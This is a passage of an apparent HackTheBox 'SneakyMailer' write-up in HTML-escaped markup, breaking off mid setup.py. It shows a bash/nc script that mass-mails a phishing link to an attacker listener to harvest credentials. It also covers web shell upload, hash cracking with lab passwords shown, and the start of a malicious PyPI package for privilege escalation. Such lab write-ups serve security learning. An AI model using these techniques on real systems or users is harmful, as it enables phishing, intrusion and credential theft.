loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;After gathering this information, I checked each service. ftp did not allow anonymous login.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0618.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0619.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;SMTP accepted connections. We did not need to send mail yet, but I still checked everything.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0620.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Port 8080 showed an nginx page. I started brute-forcing ports 80 and 8080, then examined imap on 143 and 993.&lt;/p&gt;&#10;&lt;p&gt;Brute force revealed a registration page: &lt;a class="link" href="http://sneakycorp.htb/pypi//register.php" target="_blank" rel="noopener"&#10; &gt;http://sneakycorp.htb/pypi//register.php&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;It did nothing, so the attack clearly had to involve email.&lt;/p&gt;&#10;&lt;p&gt;I first saved every email address and verified them.&lt;/p&gt;&#10;&lt;p&gt;smtp-user-enum -M VRFY -U user.txt -w 20 -t 10.10.10.197 25&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0621.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0622.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;They all existed. My only apparent option was to brute-force 143.&lt;/p&gt;&#10;&lt;p&gt;I used the collected email addresses and passwords gathered by cewl.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0623.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It found nothing.&lt;/p&gt;&#10;&lt;p&gt;I kept searching for related vulnerabilities, thinking that perhaps I needed an exp. In practice, after a long time I still had nothing—not even a version number to match against.&lt;/p&gt;&#10;&lt;p&gt;I was completely stuck and had no options, so I looked at a write-up.&lt;/p&gt;&#10;&lt;p&gt;To confirm that this really was the only path, I reviewed many write-ups describing this step. Without exception, they sent a link to every email address. The delivery methods differed, but the idea was always the same.&lt;/p&gt;&#10;&lt;p&gt;Sending email through smtp is extremely common, but it never occurred to me that I could phish users with a link and make them send their information back. I genuinely never imagined that.&lt;/p&gt;&#10;&lt;p&gt;Now that I had the idea, I just needed to send the link.&lt;/p&gt;&#10;&lt;p&gt;I constructed the payload.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;#!/bin/bash&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;{&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;helo smtp&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; while read i; do&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;Mail from:test@sneakymailer.htb&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;Rcpt to:$i&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;data&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;subject:test&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;http://10.10.16.19:6789/&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;.&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; done &amp;lt; user.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; echo &amp;#34;quit&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;} | nc sneakycorp.htb 25&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0624.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Running it sent the messages.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0625.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;nc received a response.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="mailto:firstName=Paul&amp;amp;lastName=Byrd&amp;amp;email=paulbyrd@sneakymailer.htb" &gt;firstName=Paul&amp;lastName=Byrd&amp;email=paulbyrd@sneakymailer.htb&lt;/a&gt;&amp;amp;password=^(#J@SkFv2[%KhIxKk(Ju&lt;code&gt;hqcHl&amp;lt;:Ht&amp;amp;rpassword=^(#J@SkFv2[%KhIxKk(Ju&lt;/code&gt;hqcHl&amp;lt;:Ht&lt;/p&gt;&#10;&lt;p&gt;ftp would not connect.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0626.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I started testing port 143, thinking imap should let me view the inbox.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/hi_teotong/article/details/49635781" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/hi_teotong/article/details/49635781&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This post was very good.&lt;/p&gt;&#10;&lt;p&gt;Port 143 did not work either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0627.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0628.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I checked 993 next.&lt;/p&gt;&#10;&lt;p&gt;openssl s_client -crlf -connect sneakycorp.htb:993&lt;/p&gt;&#10;&lt;p&gt;Then I ran:&lt;/p&gt;&#10;&lt;p&gt;a001 LOGIN &lt;a class="link" href="mailto:paulbyrd@sneakymailer.htb" &gt;paulbyrd@sneakymailer.htb&lt;/a&gt; &amp;ldquo;^(#J@SkFv2[%KhIxKk(Ju`hqcHl&amp;lt;:Ht&amp;rdquo;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0629.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That still did not work.&lt;/p&gt;&#10;&lt;p&gt;I tried a tool.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.cmdschool.org/archives/5449" target="_blank" rel="noopener"&#10; &gt;https://www.cmdschool.org/archives/5449&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://imap-cli.readthedocs.io/en/latest/installation.html" target="_blank" rel="noopener"&#10; &gt;https://imap-cli.readthedocs.io/en/latest/installation.html&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Immediately after installation, it had a code error. I changed the code and got it running.&lt;/p&gt;&#10;&lt;p&gt;But it still produced an error.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0630.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The login failed, but I suspected it was using port 143 rather than 993.&lt;/p&gt;&#10;&lt;p&gt;I still could not log in. I tried ssh as well, but that also failed.&lt;/p&gt;&#10;&lt;p&gt;I was certain that, since I had an email address and password, the intended service was probably email. At the moment, however, my imap-cli did not work and could not specify a port or similar options.&lt;/p&gt;&#10;&lt;p&gt;Later I found a program named evolution.&lt;/p&gt;&#10;&lt;p&gt;apt-get install evolution&lt;/p&gt;&#10;&lt;p&gt;Simply install it, but do not run it as root or it will not open. It is a very straightforward program, yet there were no real tutorials online—only installation guides—so I had to work it out myself.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0631.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Neither 993 nor 143 would accept the login. It kept failing.&lt;/p&gt;&#10;&lt;p&gt;I never expected that the correct username would be paulbyrd. I had always included the full email address before.&lt;/p&gt;&#10;&lt;p&gt;Then another problem appeared.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0632.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The issue was that when evolution was closed and reopened, it restarted kali, dropping every service. I then started openvpn again, which caused the system to hang. The real reason I could not reach the internal network was that the connection was gone.&lt;/p&gt;&#10;&lt;p&gt;It worked after a reboot. I simply had to avoid closing evolution again.&lt;/p&gt;&#10;&lt;p&gt;I first tested with imapcli.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0633.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I intentionally made the first account wrong.&lt;/p&gt;&#10;&lt;p&gt;The second account was correct and produced a different error, proving that the problem was with imapcli.&lt;/p&gt;&#10;&lt;p&gt;Next I started evolution.&lt;/p&gt;&#10;&lt;p&gt;It held me up for a while after opening, but I finally got in.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0634.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There were two messages.&lt;/p&gt;&#10;&lt;p&gt;The first leaked information.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0635.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;Hello administrator, I want to change this password for the developer account&lt;/p&gt;&#10;&lt;p&gt;Username: developer&lt;/p&gt;&#10;&lt;p&gt;Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C&lt;/p&gt;&#10;&lt;p&gt;Please notify me when you do it&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;I finally logged in to ftp. This password worked there.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0636.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The first thing I noticed was that this looked like a backup of the website—or perhaps the live web root itself. The earlier email said we needed to develop the contents of the pypi directory, so it was very likely a web directory. I could simply upload a shell.&lt;/p&gt;&#10;&lt;p&gt;But after uploading it, I could not access it, and it was deleted after a while. I tried uploading inside pypi, but that directory completely refused file uploads.&lt;/p&gt;&#10;&lt;p&gt;Further testing suggested that no directory accepted files except dev. Files uploaded there could not be accessed and were deleted.&lt;/p&gt;&#10;&lt;p&gt;My first thought was a race condition, so I tried it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0637.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It did not work.&lt;/p&gt;&#10;&lt;p&gt;I was stuck again. When I inspected the source files on ftp, they could not possibly be the files for the current site. At the very least, index.php differed from the live site&amp;rsquo;s version.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0638.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This content was completely absent, as were several other files.&lt;/p&gt;&#10;&lt;p&gt;I could only interpret it as a backup. But if it was a backup, the configuration files should have contained something. They did not: these php files were pure html front-end code with nothing related to a backend.&lt;/p&gt;&#10;&lt;p&gt;With no way forward, I checked someone else&amp;rsquo;s write-up, which hinted at a subdomain. The path immediately became clear.&lt;/p&gt;&#10;&lt;p&gt;ffuf -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u &lt;a class="link" href="http://10.10.10.197" target="_blank" rel="noopener"&#10; &gt;http://10.10.10.197&lt;/a&gt; -H &amp;ldquo;HOST: FUZZ.sneakycorp.htb&amp;rdquo; -fs 185&lt;/p&gt;&#10;&lt;p&gt;ffuf could brute-force it perfectly.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0639.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The result was dev.sneakycorp.htb.&lt;/p&gt;&#10;&lt;p&gt;I added it to hosts.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0640.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Sure enough, this matched the index.php I had just seen.&lt;/p&gt;&#10;&lt;p&gt;The dev directory had actually hinted at it too. In the future, I need to test subdomains with ffuf as soon as I obtain a domain, before moving on.&lt;/p&gt;&#10;&lt;p&gt;I only needed to put the file and visit it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0641.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0642.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I finally obtained a shell.&lt;/p&gt;&#10;&lt;p&gt;I started privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;There were several files in the pypi.sneakycorp.htb directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0643.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The .htpasswd file contained pypi&amp;rsquo;s password hash, which needed to be cracked.&lt;/p&gt;&#10;&lt;p&gt;packages could not be entered except by members of the pypi-pkg group.&lt;/p&gt;&#10;&lt;p&gt;The venv directory was only a virtual-environment configuration with basic files, so it was not very important. I considered the next step.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0644.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was the group file. The pypi-pkg group included the pypi user.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0645.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/&lt;/p&gt;&#10;&lt;p&gt;The objective was now clear: escalate to pypi and inspect the packages directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0646.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://groups.google.com/g/securityfocus2/c/dVILePi_mTE?pli=1" target="_blank" rel="noopener"&#10; &gt;https://groups.google.com/g/securityfocus2/c/dVILePi_mTE?pli=1&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;At first I did not know how to crack it. This post gave me the idea.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0647.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I only needed to specify the file, with no extra operations. Eventually it cracked successfully.&lt;/p&gt;&#10;&lt;p&gt;soufianeelhaoui&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0648.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;As expected, pypi was configured with nologin, so I could not use su.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0649.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0650.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I could not use su to switch to either user with a home directory because the passwords were wrong, and pypi could not log in to ftp either.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0651.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I found pypi&amp;rsquo;s site on port 8080 and could access it after adding a hosts entry.&lt;/p&gt;&#10;&lt;p&gt;It reported pypiserver version 1.3.2, and the simple endpoint accepted logins, although there was nothing inside.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0652.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;In other words, pypi was for uploading and maintaining python packages. But why were none of the described options available when I used it? If this was not a framework vulnerability, perhaps I could upload a malicious package. I could not set environment variables in my current context, but when another user imported the package it would cause RCE.&lt;/p&gt;&#10;&lt;p&gt;I had no other ideas and could only assume this needed to be combined with another vulnerability.&lt;/p&gt;&#10;&lt;p&gt;While searching, I noticed that the low user&amp;rsquo;s home contained a venv virtual environment and that we could install packages with pip. That suggested an idea: use pspy32 to see whether there was a scheduled python task. If so, installing a malicious package would escalate privileges.&lt;/p&gt;&#10;&lt;p&gt;I eventually built a package and uploaded it successfully. I consulted many posts, but the two key ones were:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.csdn.net/zjshui/article/details/107973601" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/zjshui/article/details/107973601&lt;/a&gt;&#9;&#9;How to upload to a private repository&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://monsoir.github.io/Notes/Python/upload-pypi.html" target="_blank" rel="noopener"&#10; &gt;https://monsoir.github.io/Notes/Python/upload-pypi.html&lt;/a&gt;&#9;How to build a python package&lt;/p&gt;&#10;&lt;p&gt;Here are my files.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── README.md&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── jsonizer&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ├── __init__.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ├── jsonize.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── LICENSE.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└── setup.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The directory structure was the one shown above, copied from a github project. You can choose any name for your own project.&lt;/p&gt;&#10;&lt;p&gt;I named mine Reverse-Shell-1.1.1.&lt;/p&gt;&#10;&lt;p&gt;So I created a Reverse-Shell-1.1.1 directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-linux-boxes/image-0653.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was naturally empty after creation. I entered it and, as required, created the two empty files README.md and LICENSE.txt inside Reverse-Shell-1.1.1.&lt;/p&gt;&#10;&lt;p&gt;Next I created the jsonizer directory, entered it, and made &lt;strong&gt;init&lt;/strong&gt;.py and jsonize.py. &lt;strong&gt;init&lt;/strong&gt;.py could be empty, and so could jsonize.py, although I added an arbitrary print statement.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── README.md&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── jsonizer&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ├── __init__.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ ├── jsonize.py&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;├── LICENSE.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;That was the current structure. Only setup.py remained.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;from setuptools import setup, find_packages&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setup(&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; name=&amp;#39;Reverse-Shell&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; version=&amp;#39;1.1.1&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; keywords=[&amp;#39;Safari&amp;#39;, &amp;#39;Bookmarks&amp;#39;, &amp;#39;JSON&amp;#39;, &amp;#39;Monsoir&amp;#39;],&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; description=&amp;#39;transform Safari bookmarks export to JSON file&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; license=&amp;#39;MIT License&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; url=&amp;#39;https://github.com/Monsoir/safari-bookmarks-jsonizer&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; author=&amp;#39;Monsoir&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; author_email=&amp;#39;monwingyeung@gmail.com&amp;#39;,&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span 